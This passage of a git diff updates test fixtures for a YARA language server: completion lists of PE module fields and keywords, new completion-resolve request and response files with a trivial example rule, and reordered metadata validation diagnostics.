"description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_GPREL", + "insertText": "SYSTEM", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_GPREL", + "kind": 21, + "label": "SYSTEM", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_ALIGN_1BYTES", + "insertText": "TERMINAL_SERVER_AWARE", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_ALIGN_1BYTES", + "kind": 21, + "label": "TERMINAL_SERVER_AWARE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_ALIGN_2BYTES", + "insertText": "UP_SYSTEM_ONLY", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_ALIGN_2BYTES", + "kind": 21, + "label": "UP_SYSTEM_ONLY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_ALIGN_4BYTES", + "insertText": "WDM_DRIVER", "insertTextFormat": 2, - "kind": 5, - "label": "SECTION_ALIGN_4BYTES", + "kind": 21, + "label": "WDM_DRIVER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "SECTION_ALIGN_8BYTES", + "insertText": "base_of_code", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_8BYTES", + "label": "base_of_code", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_ALIGN_16BYTES", + "insertText": "base_of_data", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_16BYTES", + "label": "base_of_data", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_ALIGN_32BYTES", + "insertText": "characteristics", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_32BYTES", + "label": "characteristics", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_ALIGN_64BYTES", + "insertText": "checksum", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_64BYTES", + "label": "checksum", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_ALIGN_128BYTES", + "insertText": "data_directories[${1}]${2}", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_128BYTES", + "label": "data_directories", "labelDetails": { - "description": "integer" + "description": "array" } }, { - "insertText": "SECTION_ALIGN_256BYTES", + "insertText": "delayed_import_details[${1}]${2}", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_256BYTES", + "label": "delayed_import_details", "labelDetails": { - "description": "integer" + "description": "array" } }, { - "insertText": "SECTION_ALIGN_512BYTES", + "insertText": "dll_characteristics", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_512BYTES", + "label": "dll_characteristics", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_ALIGN_1024BYTES", + "insertText": "dll_name", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_1024BYTES", + "label": "dll_name", "labelDetails": { - "description": "integer" + "description": "string" } }, { - "insertText": "SECTION_ALIGN_2048BYTES", + "insertText": "entry_point", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_2048BYTES", + "label": "entry_point", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_ALIGN_4096BYTES", + "insertText": "entry_point_raw", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_4096BYTES", + "label": "entry_point_raw", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_ALIGN_8192BYTES", + "insertText": "export_details[${1}]${2}", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_8192BYTES", + "label": "export_details", "labelDetails": { - "description": "integer" + "description": "array" } }, { - "insertText": "SECTION_ALIGN_MASK", + "insertText": "export_timestamp", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_ALIGN_MASK", + "label": "export_timestamp", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_LNK_NRELOC_OVFL", + "insertText": "file_alignment", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_LNK_NRELOC_OVFL", + "label": "file_alignment", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_MEM_DISCARDABLE", + "insertText": "image_base", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_MEM_DISCARDABLE", + "label": "image_base", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_MEM_NOT_CACHED", + "insertText": "image_version", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_MEM_NOT_CACHED", + "label": "image_version", "labelDetails": { - "description": "integer" + "description": "struct" } }, { - "insertText": "SECTION_MEM_NOT_PAGED", + "insertText": "import_details[${1}]${2}", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_MEM_NOT_PAGED", + "label": "import_details", "labelDetails": { - "description": "integer" + "description": "array" } }, { - "insertText": "SECTION_MEM_SHARED", + "insertText": "is_pe", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_MEM_SHARED", + "label": "is_pe", "labelDetails": { - "description": "integer" + "description": "bool" } }, { - "insertText": "SECTION_MEM_EXECUTE", + "insertText": "is_signed", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_MEM_EXECUTE", + "label": "is_signed", "labelDetails": { - "description": "integer" + "description": "bool" } }, { - "insertText": "SECTION_MEM_READ", + "insertText": "linker_version", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_MEM_READ", + "label": "linker_version", "labelDetails": { - "description": "integer" + "description": "struct" } }, { - "insertText": "SECTION_MEM_WRITE", + "insertText": "loader_flags", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_MEM_WRITE", + "label": "loader_flags", "labelDetails": { "description": "integer" } }, { - "insertText": "SECTION_SCALE_INDEX", + "insertText": "machine", "insertTextFormat": 2, "kind": 5, - "label": "SECTION_SCALE_INDEX", + "label": "machine", "labelDetails": { "description": "integer" } }, { - "insertText": "HIGH_ENTROPY_VA", + "insertText": "number_of_delayed_imported_functions", "insertTextFormat": 2, "kind": 5, - "label": "HIGH_ENTROPY_VA", + "label": "number_of_delayed_imported_functions", "labelDetails": { "description": "integer" } }, { - "insertText": "DYNAMIC_BASE", + "insertText": "number_of_delayed_imports", "insertTextFormat": 2, "kind": 5, - "label": "DYNAMIC_BASE", + "label": "number_of_delayed_imports", "labelDetails": { "description": "integer" } }, { - "insertText": "FORCE_INTEGRITY", + "insertText": "number_of_exports", "insertTextFormat": 2, "kind": 5, - "label": "FORCE_INTEGRITY", + "label": "number_of_exports", "labelDetails": { "description": "integer" } }, { - "insertText": "NX_COMPAT", + "insertText": "number_of_imported_functions", "insertTextFormat": 2, "kind": 5, - "label": "NX_COMPAT", + "label": "number_of_imported_functions", "labelDetails": { "description": "integer" } }, { - "insertText": "NO_ISOLATION", + "insertText": "number_of_imports", "insertTextFormat": 2, "kind": 5, - "label": "NO_ISOLATION", + "label": "number_of_imports", "labelDetails": { "description": "integer" } }, { - "insertText": "NO_SEH", + "insertText": "number_of_resources", "insertTextFormat": 2, "kind": 5, - "label": "NO_SEH", + "label": "number_of_resources", "labelDetails": { "description": "integer" } }, { - "insertText": "NO_BIND", + "insertText": "number_of_rva_and_sizes", "insertTextFormat": 2, "kind": 5, - "label": "NO_BIND", + "label": "number_of_rva_and_sizes", "labelDetails": { "description": "integer" } }, { - "insertText": "APPCONTAINER", + "insertText": "number_of_sections", "insertTextFormat": 2, "kind": 5, - "label": "APPCONTAINER", + "label": "number_of_sections", "labelDetails": { "description": "integer" } }, { - "insertText": "WDM_DRIVER", + "insertText": "number_of_signatures", "insertTextFormat": 2, "kind": 5, - "label": "WDM_DRIVER", + "label": "number_of_signatures", "labelDetails": { "description": "integer" } }, { - "insertText": "GUARD_CF", + "insertText": "number_of_symbols", "insertTextFormat": 2, "kind": 5, - "label": "GUARD_CF", + "label": "number_of_symbols", "labelDetails": { "description": "integer" } }, { - "insertText": "TERMINAL_SERVER_AWARE", + "insertText": "number_of_version_infos", "insertTextFormat": 2, "kind": 5, - "label": "TERMINAL_SERVER_AWARE", + "label": "number_of_version_infos", "labelDetails": { "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `calculate_checksum() -> integer`\n\n Returns the PE checksum, as calculated by YARA.\n\n This is useful for comparing with the checksum appearing in the PE header\n (pe.checksum) in order to verify if the actual checksum matches the one\n in the header." - }, - "insertText": "calculate_checksum()", + "insertText": "opthdr_magic", "insertTextFormat": 2, - "kind": 2, - "label": "calculate_checksum()", + "kind": 5, + "label": "opthdr_magic", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `delayed_import_rva(dll_name: string, func_name: string) -> integer`\n\n Returns the RVA of a delayed import where the DLL name matches\n `dll_name` and the function name matches `func_name`.\n\n Both `dll_name` and `func_name` are case-insensitive." - }, - "insertText": "delayed_import_rva(${1:dll_name}, ${2:func_name})", + "insertText": "os_version", "insertTextFormat": 2, - "kind": 2, - "label": "delayed_import_rva(dll_name: string, func_name: string)", + "kind": 5, + "label": "os_version", "labelDetails": { - "description": "func()" + "description": "struct" } }, { - "documentation": { - "kind": "markdown", - "value": "## `delayed_import_rva(dll_name: string, ordinal: integer) -> integer`\n\n Returns the RVA of an import where the DLL name matches\n `dll_name` and the ordinal number is `ordinal`.\n\n `dll_name` is case-insensitive." - }, - "insertText": "delayed_import_rva(${1:dll_name}, ${2:ordinal})", + "insertText": "overlay", "insertTextFormat": 2, - "kind": 2, - "label": "delayed_import_rva(dll_name: string, ordinal: integer)", + "kind": 5, + "label": "overlay", "labelDetails": { - "description": "func()" + "description": "struct" } }, { - "documentation": { - "kind": "markdown", - "value": "## `exports(func_name: regexp) -> bool`\n\n Returns true if the PE file exports a function with a name that matches\n the given regular expression." - }, - "insertText": "exports(${1:func_name})", + "insertText": "pdb_path", "insertTextFormat": 2, - "kind": 2, - "label": "exports(func_name: regexp)", + "kind": 5, + "label": "pdb_path", "labelDetails": { - "description": "func()" + "description": "string" } }, { - "documentation": { - "kind": "markdown", - "value": "## `exports(func_name: string) -> bool`\n\n Returns true if the PE file exports a function with the given name." - }, - "insertText": "exports(${1:func_name})", + "insertText": "pointer_to_symbol_table", "insertTextFormat": 2, - "kind": 2, - "label": "exports(func_name: string)", + "kind": 5, + "label": "pointer_to_symbol_table", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `exports(ordinal: integer) -> bool`\n\n Returns true if the PE file exports a function with the given ordinal." - }, - "insertText": "exports(${1:ordinal})", + "insertText": "resource_timestamp", "insertTextFormat": 2, - "kind": 2, - "label": "exports(ordinal: integer)", + "kind": 5, + "label": "resource_timestamp", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `exports_index(func_name: regexp) -> integer`\n\n Returns true if the PE file exports a function with a name that matches\n the given regular expression." - }, - "insertText": "exports_index(${1:func_name})", + "insertText": "resource_version", "insertTextFormat": 2, - "kind": 2, - "label": "exports_index(func_name: regexp)", + "kind": 5, + "label": "resource_version", "labelDetails": { - "description": "func()" + "description": "struct" } }, { - "documentation": { - "kind": "markdown", - "value": "## `exports_index(func_name: string) -> integer`\n\n Returns true if the PE file exports a function with the given name." - }, - "insertText": "exports_index(${1:func_name})", + "insertText": "resources[${1}]${2}", "insertTextFormat": 2, - "kind": 2, - "label": "exports_index(func_name: string)", + "kind": 5, + "label": "resources", "labelDetails": { - "description": "func()" + "description": "array" } }, { - "documentation": { - "kind": "markdown", - "value": "## `exports_index(ordinal: integer) -> integer`\n\n Returns true if the PE file exports a function with the given ordinal." - }, - "insertText": "exports_index(${1:ordinal})", + "insertText": "rich_signature", "insertTextFormat": 2, - "kind": 2, - "label": "exports_index(ordinal: integer)", + "kind": 5, + "label": "rich_signature", "labelDetails": { - "description": "func()" + "description": "struct" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imphash() -> string`\n\n Returns the PE import hash.\n\n The import hash represents the MD5 checksum of the PE's import table\n following a normalization process. PE files sharing the same import hash\n import precisely identical functions from the same DLLs. This characteristic\n often signifies file similarity, despite not being byte-for-byte identical.\n For additional details, refer to:\n https://www.mandiant.com/resources/blog/tracking-malware-import-hashing\n\n The resulting hash string is consistently in lowercase." - }, - "insertText": "imphash()", + "insertText": "section_alignment", "insertTextFormat": 2, - "kind": 2, - "label": "imphash()", + "kind": 5, + "label": "section_alignment", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `import_rva(dll_name: string, func_name: string) -> integer`\n\n Returns the RVA of an import where the DLL name matches\n `dll_name` and the function name matches `func_name`.\n\n Both `dll_name` and `func_name` are case-insensitive." - }, - "insertText": "import_rva(${1:dll_name}, ${2:func_name})", + "insertText": "sections[${1}]${2}", "insertTextFormat": 2, - "kind": 2, - "label": "import_rva(dll_name: string, func_name: string)", + "kind": 5, + "label": "sections", "labelDetails": { - "description": "func()" + "description": "array" } }, { - "documentation": { - "kind": "markdown", - "value": "## `import_rva(dll_name: string, ordinal: integer) -> integer`\n\n Returns the RVA of an import where the DLL name matches\n `dll_name` and the ordinal number is `ordinal`.\n\n `dll_name` is case-insensitive." - }, - "insertText": "import_rva(${1:dll_name}, ${2:ordinal})", + "insertText": "signatures[${1}]${2}", "insertTextFormat": 2, - "kind": 2, - "label": "import_rva(dll_name: string, ordinal: integer)", + "kind": 5, + "label": "signatures", "labelDetails": { - "description": "func()" + "description": "array" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(dll_name: regexp, func_name: regexp) -> integer`\n\n Returns the number of imported functions where the function's name matches\n `func_name` and the DLL name matches `dll_name`.\n\n Both `dll_name` and `func_name` are case-sensitive unless you use the \"/i\"\n modifier in the regexp, as shown in the example below." - }, - "insertText": "imports(${1:dll_name}, ${2:func_name})", + "insertText": "size_of_code", "insertTextFormat": 2, - "kind": 2, - "label": "imports(dll_name: regexp, func_name: regexp)", + "kind": 5, + "label": "size_of_code", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(dll_name: string, func_name: string) -> bool`\n\n Returns true if the PE imports `func_name` from `dll_name`.\n\n Both `func_name` and `dll_name` are case-insensitive." - }, - "insertText": "imports(${1:dll_name}, ${2:func_name})", + "insertText": "size_of_headers", "insertTextFormat": 2, - "kind": 2, - "label": "imports(dll_name: string, func_name: string)", + "kind": 5, + "label": "size_of_headers", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(dll_name: string, ordinal: integer) -> integer`\n\n Returns true if the PE imports `ordinal` from `dll_name`.\n\n `dll_name` is case-insensitive." - }, - "insertText": "imports(${1:dll_name}, ${2:ordinal})", + "insertText": "size_of_heap_commit", "insertTextFormat": 2, - "kind": 2, - "label": "imports(dll_name: string, ordinal: integer)", + "kind": 5, + "label": "size_of_heap_commit", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(dll_name: string) -> integer`\n\n Returns the number of functions imported by the PE from `dll_name`.\n\n `dll_name` is case-insensitive." - }, - "insertText": "imports(${1:dll_name})", + "insertText": "size_of_heap_reserve", "insertTextFormat": 2, - "kind": 2, - "label": "imports(dll_name: string)", + "kind": 5, + "label": "size_of_heap_reserve", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(import_flags: integer, dll_name: regexp, func_name: regexp) -> integer`\n\n Returns the number of imported functions where the function's name matches\n `func_name` and the DLL name matches `dll_name`.\n\n Both `dll_name` and `func_name` are case-sensitive unless you use the \"/i\"\n modifier in the regexp, as shown in the example below. See [`imports_dll`]\n for details about the `import_flags` argument." - }, - "insertText": "imports(${1:import_flags}, ${2:dll_name}, ${3:func_name})", + "insertText": "size_of_image", "insertTextFormat": 2, - "kind": 2, - "label": "imports(import_flags: integer, dll_name: regexp, func_name: regexp)", + "kind": 5, + "label": "size_of_image", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(import_flags: integer, dll_name: string, func_name: string) -> bool`\n\n Returns true if the PE imports `func_name` from `dll_name`.\n\n Both `func_name` and `dll_name` are case-insensitive. See [`imports_dll`]\n for details about the `import_flags` argument." - }, - "insertText": "imports(${1:import_flags}, ${2:dll_name}, ${3:func_name})", + "insertText": "size_of_initialized_data", "insertTextFormat": 2, - "kind": 2, - "label": "imports(import_flags: integer, dll_name: string, func_name: string)", + "kind": 5, + "label": "size_of_initialized_data", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(import_flags: integer, dll_name: string, ordinal: integer) -> bool`\n\n Returns true if the PE imports `ordinal` from `dll_name`.\n\n `dll_name` is case-insensitive. See [`imports_dll`] for details about\n the `import_flags` argument." - }, - "insertText": "imports(${1:import_flags}, ${2:dll_name}, ${3:ordinal})", + "insertText": "size_of_optional_header", "insertTextFormat": 2, - "kind": 2, - "label": "imports(import_flags: integer, dll_name: string, ordinal: integer)", + "kind": 5, + "label": "size_of_optional_header", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `imports(import_flags: integer, dll_name: string) -> integer`\n\n Returns the number of functions imported by the PE from `dll_name`.\n\n `dll_name` is case-insensitive. `import_flags` specify the types of\n import which should be taken into account. This value can be composed\n by a bitwise OR of the following values:\n\n * `pe.IMPORT_STANDARD` : standard import only\n * `pe.IMPORT_DELAYED` : delayed imports only\n * `pe.IMPORT_ANY` : both standard and delayed imports" - }, - "insertText": "imports(${1:import_flags}, ${2:dll_name})", + "insertText": "size_of_stack_commit", "insertTextFormat": 2, - "kind": 2, - "label": "imports(import_flags: integer, dll_name: string)", + "kind": 5, + "label": "size_of_stack_commit", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `is_32bit() -> bool`\n\n Returns true if the file is a 32-bit PE." - }, - "insertText": "is_32bit()", + "insertText": "size_of_stack_reserve", "insertTextFormat": 2, - "kind": 2, - "label": "is_32bit()", + "kind": 5, + "label": "size_of_stack_reserve", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `is_64bit() -> bool`\n\n Returns true if the file is a 64-bit PE." - }, - "insertText": "is_64bit()", + "insertText": "size_of_uninitialized_data", "insertTextFormat": 2, - "kind": 2, - "label": "is_64bit()", + "kind": 5, + "label": "size_of_uninitialized_data", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `is_dll() -> bool`\n\n Returns true if the file is dynamic link library (DLL)" - }, - "insertText": "is_dll()", + "insertText": "subsystem", "insertTextFormat": 2, - "kind": 2, - "label": "is_dll()", + "kind": 5, + "label": "subsystem", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `language(lang: integer) -> bool`\n\n Returns true if the PE contains some resource with the specified language\n identifier.\n\n Language identifiers are the lowest 8-bit of locale identifiers and can\n be found here:\n https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/available-language-packs-for-windows?view=windows-11" - }, - "insertText": "language(${1:lang})", + "insertText": "subsystem_version", "insertTextFormat": 2, - "kind": 2, - "label": "language(lang: integer)", + "kind": 5, + "label": "subsystem_version", "labelDetails": { - "description": "func()" + "description": "struct" } }, { - "documentation": { - "kind": "markdown", - "value": "## `locale(loc: integer) -> bool`\n\n Returns true if the PE contains some resource with the specified locale\n identifier.\n\n Locale identifiers are 16-bit integers and can be found here:\n https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/available-language-packs-for-windows?view=windows-11" - }, - "insertText": "locale(${1:loc})", + "insertText": "timestamp", "insertTextFormat": 2, - "kind": 2, - "label": "locale(loc: integer)", + "kind": 5, + "label": "timestamp", "labelDetails": { - "description": "func()" + "description": "integer" } }, { - "documentation": { - "kind": "markdown", - "value": "## `rva_to_offset(rva: integer) -> integer`\n\n Convert a relative virtual address (RVA) to a file offset." - }, - "insertText": "rva_to_offset(${1:rva})", + "insertText": "version_info", "insertTextFormat": 2, - "kind": 2, - "label": "rva_to_offset(rva: integer)", + "kind": 5, + "label": "version_info", "labelDetails": { - "description": "func()" + "description": "map" } }, { - "documentation": { - "kind": "markdown", - "value": "## `section_index(name: string) -> integer`\n\n Returns the index in the section table of the first section with the given\n name." - }, - "insertText": "section_index(${1:name})", + "insertText": "version_info_list[${1}]${2}", "insertTextFormat": 2, - "kind": 2, - "label": "section_index(name: string)", + "kind": 5, + "label": "version_info_list", "labelDetails": { - "description": "func()" + "description": "array" } }, { - "documentation": { - "kind": "markdown", - "value": "## `section_index(offset: integer) -> integer`\n\n Returns the index in the section table of the first section that contains\n the given file offset." - }, - "insertText": "section_index(${1:offset})", + "insertText": "win32_version_value", "insertTextFormat": 2, - "kind": 2, - "label": "section_index(offset: integer)", + "kind": 5, + "label": "win32_version_value", "labelDetails": { - "description": "func()" + "description": "integer" } } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion9.response.json b/ls/src/tests/testdata/completion9.response.json index 5406a2a05..16ec482eb 100644 --- a/ls/src/tests/testdata/completion9.response.json +++ b/ls/src/tests/testdata/completion9.response.json @@ -1,57 +1,61 @@ [ { + "insertText": "at ${1:expression}", + "insertTextFormat": 2, "kind": 14, - "label": "and" + "label": "at" }, { + "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", + "insertTextFormat": 2, "kind": 14, - "label": "or" + "label": "for" }, { + "insertText": "in (${1:}..${2:})", + "insertTextFormat": 2, "kind": 14, - "label": "all" + "label": "in" }, { + "insertText": "pe.entry_point", + "insertTextFormat": 2, "kind": 14, - "label": "any" + "label": "entrypoint" }, { + "insertText": "with ${1:declarations} : ( ${3:expression} )", + "insertTextFormat": 2, "kind": 14, - "label": "none" + "label": "with" }, { "kind": 14, - "label": "of" + "label": "all" }, { - "insertText": "at ${1:expression}", - "insertTextFormat": 2, "kind": 14, - "label": "at" + "label": "and" }, { - "insertText": "in (${1:}..${2:})", - "insertTextFormat": 2, "kind": 14, - "label": "in" + "label": "any" }, { "kind": 14, - "label": "filesize" + "label": "defined" }, { - "insertText": "pe.entry_point", - "insertTextFormat": 2, "kind": 14, - "label": "entrypoint" + "label": "false" }, { "kind": 14, - "label": "true" + "label": "filesize" }, { "kind": 14, - "label": "false" + "label": "none" }, { "kind": 14, @@ -59,18 +63,14 @@ }, { "kind": 14, - "label": "defined" + "label": "of" }, { - "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", - "insertTextFormat": 2, "kind": 14, - "label": "for" + "label": "or" }, { - "insertText": "with ${1:declarations} : ( ${3:expression} )", - "insertTextFormat": 2, "kind": 14, - "label": "with" + "label": "true" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion_resolve1.request.json b/ls/src/tests/testdata/completion_resolve1.request.json new file mode 100644 index 000000000..5f65cb4c5 --- /dev/null +++ b/ls/src/tests/testdata/completion_resolve1.request.json @@ -0,0 +1,6 @@ +{ + "label": "resolve_example_rule", + "data": { + "uri": "${test_dir}/completion_resolve1.yar" + } +} diff --git a/ls/src/tests/testdata/completion_resolve1.response.json b/ls/src/tests/testdata/completion_resolve1.response.json new file mode 100644 index 000000000..9545b73e2 --- /dev/null +++ b/ls/src/tests/testdata/completion_resolve1.response.json @@ -0,0 +1,7 @@ +{ + "documentation": { + "kind": "markdown", + "value": "## rule `resolve_example_rule`\n```\nauthor = \"author\"\ndescription = \"description\"\n```\n" + }, + "label": "resolve_example_rule" +} \ No newline at end of file diff --git a/ls/src/tests/testdata/completion_resolve1.yar b/ls/src/tests/testdata/completion_resolve1.yar new file mode 100644 index 000000000..9776d055a --- /dev/null +++ b/ls/src/tests/testdata/completion_resolve1.yar @@ -0,0 +1,10 @@ +rule resolve_example_rule { + meta: + author = "author" + description = "description" + strings: + $a = "foo" + $b = { 01 02 } + condition: + $a and $b +} diff --git a/ls/src/tests/testdata/completion_resolve2.config.json b/ls/src/tests/testdata/completion_resolve2.config.json new file mode 100644 index 000000000..0b42a3cc4 --- /dev/null +++ b/ls/src/tests/testdata/completion_resolve2.config.json @@ -0,0 +1,6 @@ +{ + "documentation": { + "showRuleStringsBlock": true, + "showRuleConditionBlock": true + } +} diff --git a/ls/src/tests/testdata/completion_resolve2.request.json b/ls/src/tests/testdata/completion_resolve2.request.json new file mode 100644 index 000000000..d621c085d --- /dev/null +++ b/ls/src/tests/testdata/completion_resolve2.request.json @@ -0,0 +1,6 @@ +{ + "label": "resolve_example_rule", + "data": { + "uri": "${test_dir}/completion_resolve2.yar" + } +} diff --git a/ls/src/tests/testdata/completion_resolve2.response.json b/ls/src/tests/testdata/completion_resolve2.response.json new file mode 100644 index 000000000..2ac77fe34 --- /dev/null +++ b/ls/src/tests/testdata/completion_resolve2.response.json @@ -0,0 +1,7 @@ +{ + "documentation": { + "kind": "markdown", + "value": "## rule `resolve_example_rule`\n```\nauthor = \"author\"\ndescription = \"description\"\n```\n### strings:\n\n```\n$a = \"foo\"\n$b = { 01 02 }\n```\n### condition:\n\n```\n$a and $b\n```\n" + }, + "label": "resolve_example_rule" +} \ No newline at end of file diff --git a/ls/src/tests/testdata/completion_resolve2.yar b/ls/src/tests/testdata/completion_resolve2.yar new file mode 100644 index 000000000..9776d055a --- /dev/null +++ b/ls/src/tests/testdata/completion_resolve2.yar @@ -0,0 +1,10 @@ +rule resolve_example_rule { + meta: + author = "author" + description = "description" + strings: + $a = "foo" + $b = { 01 02 } + condition: + $a and $b +} diff --git a/ls/src/tests/testdata/diagnostics10.response.json b/ls/src/tests/testdata/diagnostics10.response.json index 594f9e9b6..711e043fe 100644 --- a/ls/src/tests/testdata/diagnostics10.response.json +++ b/ls/src/tests/testdata/diagnostics10.response.json @@ -5,15 +5,15 @@ "data": { "patches": [] }, - "message": "metadata `description` is not valid", + "message": "metadata `created` is not valid", "range": { "end": { - "character": 21, - "line": 2 + "character": 26, + "line": 7 }, "start": { - "character": 18, - "line": 2 + "character": 14, + "line": 7 } }, "relatedInformation": [ @@ -21,17 +21,17 @@ "location": { "range": { "end": { - "character": 21, - "line": 2 + "character": 26, + "line": 7 }, "start": { - "character": 18, - "line": 2 + "character": 14, + "line": 7 } }, "uri": "${test_dir}/diagnostics10.yar" }, - "message": "`description` must be a `string`" + "message": "`created` must be a `date` with format `%Y-%m-%d`" } ], "severity": 2 @@ -41,15 +41,15 @@ "data": { "patches": [] }, - "message": "metadata `id` is not valid", + "message": "metadata `description` is not valid", "range": { "end": { - "character": 17, - "line": 3 + "character": 21, + "line": 2 }, "start": { - "character": 9, - "line": 3 + "character": 18, + "line": 2 } }, "relatedInformation": [ @@ -57,17 +57,17 @@ "location": { "range": { "end": { - "character": 17, - "line": 3 + "character": 21, + "line": 2 }, "start": { - "character": 9, - "line": 3 + "character": 18, + "line": 2 } }, "uri": "${test_dir}/diagnostics10.yar" }, - "message": "`id` must be a string and match the pattern `^[A-Z]{3}-[0-9]{3}$`" + "message": "`description` must be a `string`" } ], "severity": 2 @@ -77,15 +77,15 @@ "data": { "patches": [] }, - "message": "metadata `version` is not valid", + "message": "metadata `enabled` is not valid", "range": { "end": { "character": 19, - "line": 4 + "line": 6 }, "start": { "character": 14, - "line": 4 + "line": 6 } }, "relatedInformation": [ @@ -94,16 +94,16 @@ "range": { "end": { "character": 19, - "line": 4 + "line": 6 }, "start": { "character": 14, - "line": 4 + "line": 6 } }, "uri": "${test_dir}/diagnostics10.yar" }, - "message": "`version` must be a `integer`" + "message": "`enabled` must be a `bool`" } ], "severity": 2 @@ -113,15 +113,15 @@ "data": { "patches": [] }, - "message": "metadata `score` is not valid", + "message": "metadata `id` is not valid", "range": { "end": { - "character": 14, - "line": 5 + "character": 17, + "line": 3 }, "start": { - "character": 12, - "line": 5 + "character": 9, + "line": 3 } }, "relatedInformation": [ @@ -129,17 +129,17 @@ "location": { "range": { "end": { - "character": 14, - "line": 5 + "character": 17, + "line": 3 }, "start": { - "character": 12, - "line": 5 + "character": 9, + "line": 3 } }, "uri": "${test_dir}/diagnostics10.yar" }, - "message": "`score` must be a `float`" + "message": "`id` must be a string and match the pattern `^[A-Z]{3}-[0-9]{3}$`" } ], "severity": 2 @@ -149,15 +149,15 @@ "data": { "patches": [] }, - "message": "metadata `enabled` is not valid", + "message": "metadata `score` is not valid", "range": { "end": { - "character": 19, - "line": 6 + "character": 14, + "line": 5 }, "start": { - "character": 14, - "line": 6 + "character": 12, + "line": 5 } }, "relatedInformation": [ @@ -165,17 +165,17 @@ "location": { "range": { "end": { - "character": 19, - "line": 6 + "character": 14, + "line": 5 }, "start": { - "character": 14, - "line": 6 + "character": 12, + "line": 5 } }, "uri": "${test_dir}/diagnostics10.yar" }, - "message": "`enabled` must be a `bool`" + "message": "`score` must be a `float`" } ], "severity": 2 @@ -185,15 +185,15 @@ "data": { "patches": [] }, - "message": "metadata `created` is not valid", + "message": "metadata `updated` is not valid", "range": { "end": { "character": 26, - "line": 7 + "line": 8 }, "start": { "character": 14, - "line": 7 + "line": 8 } }, "relatedInformation": [ @@ -202,16 +202,16 @@ "range": { "end": { "character": 26, - "line": 7 + "line": 8 }, "start": { "character": 14, - "line": 7 + "line": 8 } }, "uri": "${test_dir}/diagnostics10.yar" }, - "message": "`created` must be a `date` with format `%Y-%m-%d`" + "message": "`updated` must be a `date` with format `%d/%m/%Y`" } ], "severity": 2 @@ -221,15 +221,15 @@ "data": { "patches": [] }, - "message": "metadata `updated` is not valid", + "message": "metadata `version` is not valid", "range": { "end": { - "character": 26, - "line": 8 + "character": 19, + "line": 4 }, "start": { "character": 14, - "line": 8 + "line": 4 } }, "relatedInformation": [ @@ -237,17 +237,17 @@ "location": { "range": { "end": { - "character": 26, - "line": 8 + "character": 